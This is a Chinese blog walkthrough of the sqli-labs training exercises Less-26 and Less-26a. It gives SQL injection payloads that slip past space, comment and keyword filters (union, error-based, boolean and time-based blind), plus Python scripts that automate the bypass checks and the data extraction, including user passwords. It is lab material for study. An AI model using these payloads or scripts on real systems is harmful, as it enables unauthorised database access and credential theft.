Sqli-labs之Less-26和Less-26a

2023-10-31

                                                Less-26

GET-基于错误-您所有的空格和注释都属于我们

根据提示我们知道这一关过滤了空格和注释,实际上过滤的远远不止这些,我们来看下源码:

可以确认一下:

    ?id=%231  //确认过滤了#

    ?id=or1  //确认过滤了or

    ?id=/*1  //确认过滤了多行注释  

    ?id=--1  //确认过滤了单行注释

    ?id=/1  //确认过滤了斜杠

    ?id=1' ' '  //确认过滤了空格,报错注入才行

    ?id=\  //确认过滤了反斜杠

不仅过滤了上一关的orand,还过滤了单行注释--#(含URL编码)以及多行注释/**/(被解释为空格,常用于过滤空格时),还过滤了(空格),以及正反斜杠/\

我们经常绕过空格的就是惰性注释,/**/但在这里过滤了,所以行不通

     将空格,or,and,/*,#,--,等各种符号过滤,对于注释和结尾字符我们此处只能利用构造一个 ‘ 来闭合后面到 ;对于空格,有较多的方法:

空格的 URL 编码替代方法:

      %09 TAB(水平)

      %0a 新建一行

      %0c 新的一页

      %0d return功能

      %0b TAB(垂直)      (php-5.2.17,5,3,29成功)

      %a0 空格         (php-5.2.17成功--由于Apache解析原因,可能会无法使用)

26 关,sql 语句为
我们可以验证下空格的 URL 编码替代方法能否成功:

?id='%0d||%0d'1'='1

 

可以很清楚的看到,我们的空格的 URL 编码替代方法是完全可以使用的。

注意在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,Linux 下无这个问题。

当然,我们也能通过脚本来判断哪些 URL 编码能够代替空格:

python 2.7

import requests

def changeToHex(num):
    tmp = hex(i).replace("0x", "")
    if len(tmp)<2:
        tmp = '0' + tmp
    return "%" + tmp

req = requests.session()
for i in xrange(0,256):
    i = changeToHex(i) 
    url = "http://localhost/sqli-labs/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1"
    ret = req.get(url)
    if 'Dumb' in ret.content:
        print "good,this can use:" + i

由python 2.x版转为3.x 需要注意的是:

1.运行某代码时,报错:

NameError:name ‘xrange’ is not defined

原因:

在Python 3中,range()与xrange()合并为range( )。

解决:

将xrange( )函数全部换为range( )。

2.报错:

if 'Dumb' in ret.content:
TypeError: a bytes-like object is required, not 'str'

原因:

python3和Python2在套接字返回值解码上有区别

解决:

解决办法非常的简单,只需要用上python的bytes和str两种类型转换的函数encode()、decode()即可!

  • str通过encode()方法可以编码为指定的bytes;
  • 反过来,如果我们从网络或磁盘上读取了字节流,那么读到的数据就是bytes。要把bytes变为str,就需要用decode()方法

python 3.X

import requests

def changeToHex(num):
    tmp = hex(i).replace("0x", "")
    if len(tmp)<2:
        tmp = '0' + tmp
    return "%" + tmp

req = requests.session()
string = 'Dumb'
string = string.encode()
for i in range(0,256):
    i = changeToHex(i) 
    url = "http://192.168.33.1/sqli/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1"
    ret = req.get(url)
    if string in ret.content:
        print("good,this can use:" + i)

除了%a0,基本都是过滤了的字符:如%20(空格)%23(#)%2a(*)%2d(-)%2f(/)%5c(\)%09-%0d都是制表符、换行符、换页符。

可以参考URL编码参考手册

这里我们介绍四种注入方式

  • 一:因正确回显非固定字符串,可利用特殊 URL 编码代替空格,仍使用union加空格连接select联合注入。
  • 二:因错误回显是 MySQL 错误信息,可利用报错注入即 Less 17 中提到的几种方法,首选是updatexml()注入extractvalue()注入,因其他方法仍不能避开空格的使用。
  • 三:基于 Bool 盲注,构造注入语句避开空格。
  • 四:基于 延时盲注,构造注入语句避开空格。

一:

暴库:(注:url编码%26是运算符&,下面的%26%26换成运算符||也是可以的,但不能直接用&&,会报错,原理还不清楚,但使用&的url编码%26就不会报错)

?id='%0bunion%0bselect%0b1,database(),3%26%26'7'='7

爆表:

id='union%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26%0b'7'='7

爆字段

id='union%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26%0b'7'='7

爆数据:

?id='union%0bselect%0b1,group_concat(username,0x7e,passwoorrd),3%0bfrom%0busers%0bwhere%0b'7'='7

二:

在这之前要说一下这个问题,在前面的关卡中,输入id=-1是没有正确回显的,但在26中输入id=-1和id=1的结果相同,id=-2又与id=2的结果相同,一次类推,那么这说明源代码对id进行了处理,所以上面的操作我都是让 id=null  让他为false,当然id=0也是一样的,但并没有发现对id的数字进行处理的函数,所以这里记录一下,看一会能否解决这个问题。(有的博客说是浏览器过滤了&

这里用到的是updatexml()函数,首先复习用法:

... or updatexml(1,concat('#',(select * from (select ...) a)),0) ...

选用这个函数是因为没有需要空格的地方,可以用小括号和运算符代替。

爆数据库:

?id='||updatexml(1,concat('$',(database())),0)||'1'='1

爆表:

?id='||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1

爆字段:

?id='||updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)||'1'='1

爆数据:

?id='||updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)limit%0b0,1)),0)||'1'='1

注意:报错有字符限制也不能使用group_concat(),所以使用limit来控制偏移量。

三:(布尔盲注)

可以参考Less-5:、

如果不使用limit

考虑将某个字段的所有字段全部连接成一个字符串依次得到字符,即使用group_concat()
因后台过滤orand,且浏览器过滤&,需使用%26,下面是三个 payload 模板:

id=1'%26%26(ascii(mid((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),1,1))>65)||'1'='

id=1'%26%26(ascii(mid((select(group_concat(schema_name))from(infoorrmation_schema.schemata)where(table_schema='database_name'%26%26table_name='table_name')),1,1))>65)||'1'='

id=1'%26%26(ascii(mid((select(group_concat(concat_ws('$',id,username,passwoorrd)))from(users)),1,1))>65)||'1'='

但是:

光是第一个猜解数据库,就够麻烦的了,这种方法就得用脚本。

如果参考Less-5的布尔盲注就会简单一点点:

猜数据库:

?id=1'%26%26left(database(),1)>'a'||'1'='                        正确回显

?id=1'%26%26left(database(),1)>'s'||'1'='                         无错误回显

?id=1'%26%26left(database(),1)='s'||'1'='                        正确回显

。。。

猜数据表:

id=1'%26%26(ascii(substr((select%0btable_name%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=database()%0blimit %0b0,1),1,1))>80)||'1'='

....

然后其他的自己尝试

四:(延时注入)

参考Less-9

猜数据库长度:正确直接回显,错误等待5秒

?id=1'%26%26if(length(database())=8,1,sleep(5))||'1'='

猜数据表:

id=1'%26%26If(ascii(substr((select%0btable_name%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%0blimit %0b0,1),1,1))=101,1,sleep(5))||'1'='

。。。

以此类推。

剩下的自行尝试。

据说如果过滤了,便可使用:

mid(string,start,length) = mid(string from start for length)

在提供一个脚本,自行尝试,我没用过:

import sys
import requests

def getPayload(char_index, ascii):
    # 系统表中数据
    info_database_name = "infoorrmation_schema"
    info_table_name = "schemata" # schemata / tables / columns
    info_column_name = "schema_name" # schema_name / table_name / column_name
    
    # 注入表中数据
    database_name = "security"
    table_name = "users"
    column_name = ["id","username","passwoorrd"]
    
    # 附加url
    start_str = "1'%26%26"
    end_str = "||'1'='"
    
    # 连接select
    where_str = ""
    #where_str = "where(table_schema='"+database_name+"'%26%26table_name='"+table_name+"')"
    select_str = "select(group_concat("+info_column_name+"))from("+info_database_name+"."+info_table_name+")"+where_str
    #select_str = "select(group_concat(concat_ws('$',"+column_name[0]+","+column_name[1]+","+column_name[2]+")))from("+table_name+")"
    
    # 连接payload
    sqli_str = "(ascii(mid(("+select_str+"),"+str(char_index)+",1))>"+str(ascii)+")"
    payload = start_str + sqli_str + end_str
    return payload

def execute(char_index, ascii):
    # 连接url
    url = "http://localhost:8088/sqlilabs/Less-26/?id="
    exec_url = url + getPayload(char_index, ascii)
    #print(exec_url)
    # 检查回显
    echo = "Your Login name"
    content = requests.get(exec_url).text
    if echo in content:
        return True
    else:
        return False

def dichotomy(char_index, left, right):
    while left < right:
        # 二分法
        ascii = int((left+right)/2)
        if execute(str(char_index+1), str(ascii)):
            left = ascii
        else:
            right = ascii
        # 结束二分
        if left == right-1:
            if execute(str(char_index+1), str(ascii)):
                ascii += 1
                break
            else:
                break
    return chr(ascii)

if __name__ == "__main__":
    for len in range(1024): # 查询结果的长度
        char = dichotomy(len, 30, 126) 
        if ord(char) == 31: # 单条查询结果已被遍历
            break
        sys.stdout.write(char)
        sys.stdout.flush()
    sys.stdout.write("\r\n")
    sys.stdout.flush()

 

===============分隔符===============

                                                  Less-26a

基于错误_GET_过滤空格/注释_单引号_小括号_字符型_盲注

如何判断注入类型与过滤条件

在没有过滤时,第一件事是判断注入类型,是字符型还是数字型。
而有过滤时,判断注入类型后最重要的就是判断过滤条件。

  • 在 Less 25 与 Less 26 中,既有正确回显,也有错误回显。找到注入类型后在构造的错误回显前加上字符便可依次看出过滤了哪些字符。
  • 在 Less 25a 与本关中,错误回显被关闭,找到过滤字符便很重要,不过大体与有错误回显时相同(因为有正确回显)。

我们知道有一个函数是intval(),作用是获取变量的整数值。
但无错误回显时,我们如何区分是被过滤还是被转为整型

intval('#1') = 0
intval('1') = 1

只需要在1前面加上#,若被过滤则会正常显示,被转为整形则会为0

步骤1:注入类型

11"正常回显,1'报错,判断为字符型,但是还要判断是否有小括号。(这个还是蛮重要的)

判断小括号有几种方法:

  1. 2'&&'1'='1    (浏览器过滤了&,所以测试时使用url编码%26 即2'%26%26'1'='1  )
  • 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2
  • 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1

2.1')||'1'=('1 

若查询语句有小括号正确回显,若无小括号错误回显(无回显)。

后台重点源码:

这关与 26 的区别在于,sql 语句添加了一个括号,同时在 sql 语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用 union 注入,布尔盲注,延时注入。

这里演示union注入,其他自行尝试:

判断字符类型:(带小括号的单引号字符型注入)

?id=1'        报错,可初步得出是单引号字符型注入

?id=1'||' 和?id=1'||1' 会让我们误判为就是单引号字符型注入,因为带入源码中id=('1'||'')和id=('1'||'1')返回的结果都会是id=1 所以可以使用下面的语句来快速判断是否带有一个小括号,或者用前面讲的判断是否有小括号的方法也是一样的。

?id=1')||('           (因为我们过滤了注释,使用这种可以很快的判断出是否是带一个括号的注入点)

暴库:

?id=')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

简写点:

?id=')%0bunion%0bselect%0b1,database(),3%0b||1=('1

爆表:

id=')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%261=('1

爆字段:

id=')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%261=('1

爆数据:

?id=')%0bunion%0bselect%0b1,group_concat(passwoorrd,0x7e,username),3%0bfrom%0busers%0bwhere%0b1=('1

完。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Sqli-labs之Less-26和Less-26a 的相关文章

随机推荐

  • 万能近似定理(universal approximation theorrm)

    神经网络的架构 architecture 指网络的整体结构 大多数神经网络被组织成称为层的单元组 然后将这些层布置成链式结构 其中每一层都是前一层的函数 在这种结构中 第一层由下式给出 第二层 第三层 以此类推 可以看出 每一层的主体都是线
  • Spring Framework与JDK版本对应关系

    最近在实践Spring项目时 发现无法通过注解的方式实现Bean容器管理 控制器报错信息为 Failed to read candidate component class 也就是注解扫描不了 在反复检查代码不存在问题后意识到可能是版本兼容
  • Java-主流框架—(10)Spring-微服务SpringBoot

    1 SpringBoot概述 SpringBoot提供了一种快速使用Spring的方式 基于约定优于配置的思想 可以让开发人员不必在配置与逻辑业务之间进行思维的切换 全身心的投入到逻辑业务的代码编写中 从而大大提高了开发的效率 Spring
  • 如何在mysql中创建学生信息表_数据库怎么创建学生信息表

    大家好 我是时间财富网智能客服时间君 上述问题将由我为大家进行解答 数据库创建学生信息表的方法是 1 新建表 单击数据库 studentDb 前图标 然后右键 表 文件包 单击 新建表 选项 进入 新建表 窗口 2 设定表标识字段id 填写
  • Vue项目安装core-js报错解决方案

    报错问题如下 出现这这种情况的多半是core js的版本不对 解决方案如下 亲测多次有效 1 安装cnpm npm install g cnpm registry https registry npm taobao org 2 查看cnpm
  • 浏览器页面后退,重新运行ajax

    问题描述 在浏览器页面后退时 也就是说你点击链接到一个页面 然后又点击后退按钮回到刚才的页面 结果发现jQuery的ajax GET请求不再执行了 解决方法 禁用ajax缓存 ajaxSetup cache false 吐槽 为了解决这个问
  • java中的String

    Java中的String类是一种复合数据类型 比较String类的是否相等也有2种办法 和equals 两种 String是一个系统定义的类 不是基本数据类型 有关字符串处理的方法非常多 有时候两个 一样 的字符串做相等的比较运算时会得到t
  • 华为OD机试真题-查找充电设备组合【2023Q1】【JAVA、Python、C++】

    题目描述 某个充电站 可提供n个充电设备 每个充电设备均有对应的输出功率 任意个充电设备组合的输出功率总和 均构成功率集合P的1个元素 功率集合P的最优元素 表示最接近充电站最大输出功率p max的元素 输入描述 输入为3行 第1行为充电设
  • 时序预测

    时序预测 MATLAB实现Bayes贝叶斯优化LSTM 长短期记忆神经网络 时间序列预测 预测效果一览
  • React - Websocket

    组件didMount调用 Store createWebSocket Math random Store url ws window backend server slice 7 apronMapWebsocket 这个要与后端提供的相同
  • C++函数重载、重写与重定义

    演示代码 include
  • 探索Java8——CompletableFuture: 组合式异步编程

    文章目录 Future接口 Future接口的局限性 使用 CompletableFuture 使用并行流对请求进行并行操作 使用 CompletableFuture 发起异步请求 如果你的意图是实现并发 而非并行 或者你的主要目标是在同一
  • https到底是如何防篡改的

    1 前言 https是一个老生常谈的话题了 也是面试过程种经常甚至必然会问到的一个问题 但当问到https为什么安全的时候 很多人的回答就是简单的回一句 因为他加密了 然后就没然后了 你也相当于啥都没回答出来 2 我为什么要写这篇文章呢 网
  • select底部增加固定按钮

  • 基于SSM的校园快递一站式服务系统设计与实现

    末尾获取源码 开发语言 Java Java开发工具 JDK1 8 后端框架 SSM 前端 采用JSP技术开发 数据库 MySQL5 7和Navicat管理工具结合 服务器 Tomcat8 5 开发软件 IDEA Eclipse 是否Mave
  • 统计学R语言 第五章课后练习 置信区间

    5 1 计算一个总体均值的置信区间 大样本 gt exercise5 1 lt read csv D 289250 统计学 基于R 第4版 例题和习题数据 统计学 基于R 第4版 例题和习题数据 公开资源 exercise chap05 e
  • 用python网络爬虫爬取英雄联盟英雄图片

    用python爬虫爬取lol皮肤 这也用python网络爬虫爬取lol英雄皮肤 忘了是看哪个大神的博客 由于当时学了下就一直放在这儿 现在又才拿出来 再加上马上要考二级挺忙的 代码基本上是没改 还望大神原谅 本人小白 没学过Python 只
  • Pay Cycle related record

    select delete from sysadm ps pycycl stat where pay cycle ACH and pay cycle seq num gt 30 select delete from sysadm ps PY
  • Golang初入编程-踩坑笔记(3)- 并发,优雅关闭

    主函数也是线程 在不使用sync WaitGroup的情况下 需要main等待goroutine完成 不然main完成就没了 sync是synchronizing 使 同步 的缩写 wg done 最好加defer chan需要make c
  • Sqli-labs之Less-26和Less-26a

    Less 26 GET 基于错误 您所有的空格和注释都属于我们 根据提示我们知道这一关过滤了空格和注释 实际上过滤的远远不止这些 我们来看下源码 可以确认一下 id 231 确认过滤了 id or1 确认过滤了or id 1 确认过滤了多行